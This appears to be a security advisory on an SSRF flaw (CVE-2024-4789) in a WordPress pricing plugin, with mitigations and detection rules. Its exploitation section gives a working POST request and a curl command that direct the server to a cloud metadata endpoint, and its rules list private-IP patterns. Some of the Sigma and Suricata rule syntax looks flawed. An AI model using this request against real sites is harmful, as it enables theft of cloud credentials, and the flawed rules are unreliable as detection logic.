CVE-2024-4789

Executive Summary

CVE-2024-4789 is a Server-Side Request Forgery (SSRF) vulnerability affecting the Cost Calculator Builder Pro WordPress plugin by Stylemixthemes, in all versions up to and including 3.1.72. The flaw resides in the send_demo_webhook() function, which allows authenticated attackers with subscriber-level access or higher to make arbitrary HTTP requests from the web server. This can be abused to probe internal network services, read sensitive data from cloud metadata endpoints (e.g., AWS, GCP), or modify internal resources. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. Given the WordPress ecosystem context, this issue is particularly dangerous as it can be chained with other vulnerabilities to achieve lateral movement or data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the SSRF nature can lead to severe internal network reconnaissance and potential data breaches, especially in cloud environments.

Deep Dive & Mechanics

The vulnerability exists in the send_demo_webhook() function of the Cost Calculator Builder Pro plugin. This function is intended to send demo data to a predefined webhook URL. However, due to insufficient validation of the target URL, an authenticated attacker can manipulate the request to point to arbitrary internal or external addresses.

Attack Flow:

1. An attacker with subscriber-level access (or higher) authenticates to the WordPress site.
2. The attacker crafts a request to the vulnerable endpoint, providing a malicious URL (e.g., http://169.254.169.254/latest/meta-data/ for AWS metadata).
3. The plugin’s send_demo_webhook() function makes an HTTP request to that URL from the server.
4. The response is returned to the attacker, potentially exposing sensitive internal data.

Impact:

• Internal Network Scanning: Attackers can map internal services (e.g., databases, internal APIs).
• Cloud Metadata Exfiltration: Access to cloud provider metadata endpoints can leak IAM credentials, instance IDs, and more.
• Modification of Internal Services: If the target endpoint supports write operations (e.g., internal APIs), the attacker could modify data.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is as follows:

Vulnerable Code (Conceptual):

function send_demo_webhook($url) {
    // No validation of $url
    $response = wp_remote_get($url);
    return $response;
}

Patched Code (Expected):

function send_demo_webhook($url) {
    // Validate URL against a whitelist of allowed domains
    $allowed_hosts = array('api.example.com', 'webhooks.example.com');
    $parsed_url = parse_url($url);
    if (!in_array($parsed_url['host'], $allowed_hosts)) {
        return new WP_Error('invalid_url', 'URL not allowed.');
    }
    $response = wp_remote_get($url);
    return $response;
}

The patch should implement strict URL validation, preferably using a whitelist of allowed hosts or IP ranges, and block private/reserved IP ranges.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Cost Calculator Builder Pro <= 3.1.72.
• Valid subscriber-level credentials.

Exploitation Steps:

1. Log in as a subscriber.
2. Identify the vulnerable endpoint (likely /wp-admin/admin-ajax.php with action send_demo_webhook).
3. Craft a POST request with a malicious URL:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [valid session cookie]
   
   action=send_demo_webhook&url=http://169.254.169.254/latest/meta-data/
   

4. The response will contain the AWS metadata (if hosted on AWS).

Example cURL command:

curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
  -d "action=send_demo_webhook&url=http://169.254.169.254/latest/meta-data/" \
  -b "wordpress_logged_in_xxx=..."

Blue Team (Detection & Hardening)

Detection:

• Monitor for outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Alert on admin-ajax.php requests with action=send_demo_webhook and unusual url parameters.
• Use web application firewalls (WAF) to block requests containing private IPs in the url parameter.

Hardening:

• Disable the plugin if not essential.
• Implement network segmentation to restrict outbound traffic from the web server.
• Apply virtual patching via WAF rules to block SSRF attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to private IP ranges (e.g., 10.x.x.x, 172.16-31.x.x, 192.168.x.x, 169.254.x.x).
  • Requests to cloud metadata endpoints (e.g., 169.254.169.254, 100.100.100.200 for Alibaba Cloud).
• File IOCs:
  • Log entries in web server logs showing admin-ajax.php with action=send_demo_webhook and suspicious url parameters.
• Behavioral IOCs:
  • Unusual outbound traffic from the WordPress server to internal services.

Detection Engineering

YARA Rule

rule CVE_2024_4789_SSRF_WordPress {
    meta:
        description = "Detects SSRF attempts via Cost Calculator Builder Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4789"
    strings:
        $ajax_action = "send_demo_webhook"
        $url_param = "url="
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $ajax_action and $url_param and $private_ip
}

Sigma Rule

title: CVE-2024-4789 SSRF via Cost Calculator Builder Pro
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SSRF exploitation attempts against the Cost Calculator Builder Pro plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=send_demo_webhook'
        cs-uri-query|contains: 'url='
    filter:
        cs-uri-query|contains:
            - 'url=http://10.'
            - 'url=http://172.16.'
            - 'url=http://172.17.'
            - 'url=http://172.18.'
            - 'url=http://172.19.'
            - 'url=http://172.20.'
            - 'url=http://172.21.'
            - 'url=http://172.22.'
            - 'url=http://172.23.'
            - 'url=http://172.24.'
            - 'url=http://172.25.'
            - 'url=http://172.26.'
            - 'url=http://172.27.'
            - 'url=http://172.28.'
            - 'url=http://172.29.'
            - 'url=http://172.30.'
            - 'url=http://172.31.'
            - 'url=http://192.168.'
            - 'url=http://169.254.'
    condition: selection and filter
falsepositives:
    - Legitimate use of internal webhooks (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4789 SSRF Attempt - Cost Calculator Builder Pro"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=send_demo_webhook"; http_client_body; content:"url="; http_client_body; pcre:"/url=http:\/\/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Apply virtual patching via WAF to block requests containing private IPs in the url parameter.
3. Restrict outbound traffic from the web server using firewall rules (e.g., allow only necessary external IPs/domains).

Long-term Fix:

• The vendor (Stylemixthemes) must release a patched version that validates the target URL against a whitelist and blocks private/reserved IP ranges.
• Until a patch is available, consider replacing the plugin with an alternative.

Monitoring:

• Enable logging for all admin-ajax.php requests.
• Set up alerts for SSRF patterns as defined in the Detection Engineering section.

Valters IT